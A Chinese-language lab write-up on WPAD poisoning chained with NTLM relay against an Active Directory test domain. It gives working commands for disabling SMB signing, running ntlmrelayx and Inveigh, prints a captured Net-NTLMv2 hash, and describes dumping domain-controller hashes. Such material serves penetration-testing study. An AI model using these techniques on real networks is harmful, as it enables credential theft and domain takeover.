前言：學習基於資源委派之前先學習下關於WPAD投毒
參考文章：https://xz.aliyun.com/t/1739
WPAD投毒在內網滲透中配合基於資源的約束委派會十分的好用
什么是WPAD
WPAD（Web Proxy Auto-Discovery Protocol） 是 Web 代理自動發現協議的簡稱，該協議的功能是可以使局域網中用戶的瀏覽器可以自動發現內網中的代理服務器，並使用已發現的代理服務器連接互聯網或者企業內網。WPAD 支持所有主流的瀏覽器，從 IE 5.0 開始就已經支持了代理服務器自動發現/切換的功能，蘋果公司考慮到 WPAD 的安全風險，在包括 OSX 10.10 及之后版本的操作系統中的 Safari 瀏覽器將不再支持 PAC 文件的解析。
WPAD的工作原理
當系統開啟了代理自動發現功能后，用戶使用瀏覽器上網時，瀏覽器就會在當前局域網中自動查找代理服務器，如果找到了代理服務器，則會從代理服務器中下載一個名為 PAC（Proxy Auto-Config） 的配置文件。該文件中定義了用戶在訪問一個 URL 時所應該使用的代理服務器。瀏覽器會下載並解析該文件，並將相應的代理服務器設置到用戶的瀏覽器中
在 Windows 系統中，從 IE 5.0 開始就支持了 WPAD，並且 Windows 系統默認是開啟了 WPAD 功能的。可以在 IE瀏覽器的 Internet 選項 — 連接 選項卡 — 局域網設置 — 自動檢測設置 中看到，系統默認是勾選此功能的。
WPAD投毒利用原理
這里通過抓包來進行觀察學習WPAD的流程
三次握手完成之后，就直接開始了與中繼機器進行通信，就會去訪問中繼那台機器上的/wpad.dat的地址
可以看到先是這里的HTTP 401認證，直接發送了相關的NTLM頭來進行協商，之后就開始質詢，通過NTLM協議來進行通信
接着就是中繼機器和域控來進行通信了，這里也可以說明其實中繼就是起到一個中間人的作用
接着就是NTLM的第三步了，然后同樣的中繼機器拿到憑證之后直接向域控發起來請求
還可以看到impacket的操作，通過注冊表相關的利用來進行dump hash的操作
WPAD投毒利用-Net-NTLMv2竊取
環境：
WIN-BING-PC：192.168.4.139
WIN-SKE-PC：192.168.4.130
WIN-CONTROLLER：192.168.4.11
現在SKE-PC上進行WPAD投毒
接着這里打開BING-PC的瀏覽器（我這里打開的谷歌的，只要默認會訪問WPAD的都是可以的）
然后可以在SKE-PC上進行看到相關的WPAD投毒獲取到的Net NTLMv2的憑證信息
拿到相關的憑證就可以拿密碼字典來進行跑了，比如用hashcat，這里就不演示了
bingbing::HENGGE:434B54495747454C:DA536032CAA1574EDE45B0CC37543ADD:0101000000000000C700C091F0FBD7010A3965966B0FE74F0000000002001400570049004E002D0053004B0045002D005000430001001400570049004E002D0053004B0045002D005000430004001400680065006E006700670065002E0063006F006D0003001400570049004E002D0053004B0045002D005000430005001400680065006E006700670065002E0063006F006D0007000800C700C091F0FBD701060004000200000008003000300000000000000000000000002000000E2CDDCD3C76F8092000A5B5B36EB686418D1A139DF7371772295E5F06C093050A001000000000000000000000000000000000000900120048005400540050002F007700700061006400000000000000000000000000
正常smbrelay中繼利用
之前寫過用responder來做過正常的smbrelay（沒配合wpad），地址為 https://www.cnblogs.com/zpchcbd/p/12199386.html
192.168.4.11 DC1 HENGGE\ADMINISTRATOR
192.168.4.130 WIN-SKE-PC .\ADMINISTRATOR
192.168.4.137 UBUNTU
這里的話用impacket來進行WPAD配合smbrelay，在做測試的時候，記得機器都關閉SMB簽名，高版本的機器都默認需要SMB簽名驗證的
SMB簽名驗證關閉：reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f
在UBUNTU上進行impacket中繼監聽， python3 ntlmrelayx.py -t smb://192.168.4.11 -smb2support -debug
接着在 WIN-SKE-PC上進行smb訪問，dir \\192.168.4.130\c$，如下圖UBUNTU中繼的效果
知識點：SMB簽名驗證，最后起決定性作用的還是要中繼到的目標主機是否存在SMB簽名，因為smbrelay是中間人和被中繼的主機目標進行通信的，所以下面這種情況同樣可以進行中繼利用
WPAD配合smbrelay中繼利用
192.168.4.11 DC1 HENGGE\ADMINISTRATOR
192.168.4.139 WIN-WEB-SERVER .\ADMINISTRATOR
192.168.4.130 WIN-SKE-PC .\ADMINISTRATOR
192.168.4.137 UBUNTU
這里在WIN-SKE-PC用inveigh來進行WPAD投毒，對 WIN-WEB-SERVER 進行WPAD投毒，使其UBUNTU將其憑證中繼到域控DC1中去，因為中繼需要密碼一樣，所以在WIN-WEB-SERVER中我用的是本地高權限（密碼和域管administrator是一樣的）
WIN-SKE-PC上執行命令 inveigh -SpooferIP 192.168.4.137
UBUNTU上准備中繼操作
接着在 WIN-WEB-SERVER 上打開相關瀏覽器如下圖
此時WPAD已經投毒成功了
再來看下UBUNTU同樣也已經成功進行了中繼的操作，成功的dump了相關的DC1的HASH
一個小問題
正常的來說一個瀏覽器打開wpad.dat就展示出一個401的認證框，那么為什么在WPAD投毒的時候卻不用輸入，而是直接默認走了HTTP的NTLM認證流程了呢？
上面的抓包過程中可以看到其實還是走了，只是可能沒有看到，接着就是繼續走NTLM的認證了
補：有點忘記了，好像是IE的信任等級的原因
一個小問題
有人肯定會這么想，既然可以進行中繼操作，那何必將這個請求中繼給其他的機器，為什么不直接誰請求就中繼給誰嗎？
其實如果你想要這樣肯定是可以的，但是會有一個補丁問題，具體可以看MS08068的補丁
在實戰中基於SMB NTLM中繼中還需要考慮兩個問題：
1、一個是自身的問題，需要滿足SMB簽名為FALSE才可以，因為SMB簽名需要為FALSE，但是一般PC機器上的簽名的REQUIRE才為FALSE，而正常的SERVER的機器簽名都是為REUQIRED的
2、另外一個就是UAC的問題，你需要考慮UAC，如果UAC是限制是存在的，那么在這種情況的SMB中繼其實利用范圍也不大
其實對於SMB RELAY的利用，個人認為在這個方面上的利用點是不大的，而真正可以利用，並且好利用的地方是在域滲透中的基於資源的約束委派的利用，我們可以通過對域控的LDAP進行操作（LDAP的簽名默認為FALSE，不進行驗證），然后我們配合WPAD然后再配合自定義LDAP操作進行基於資源的約束委派。
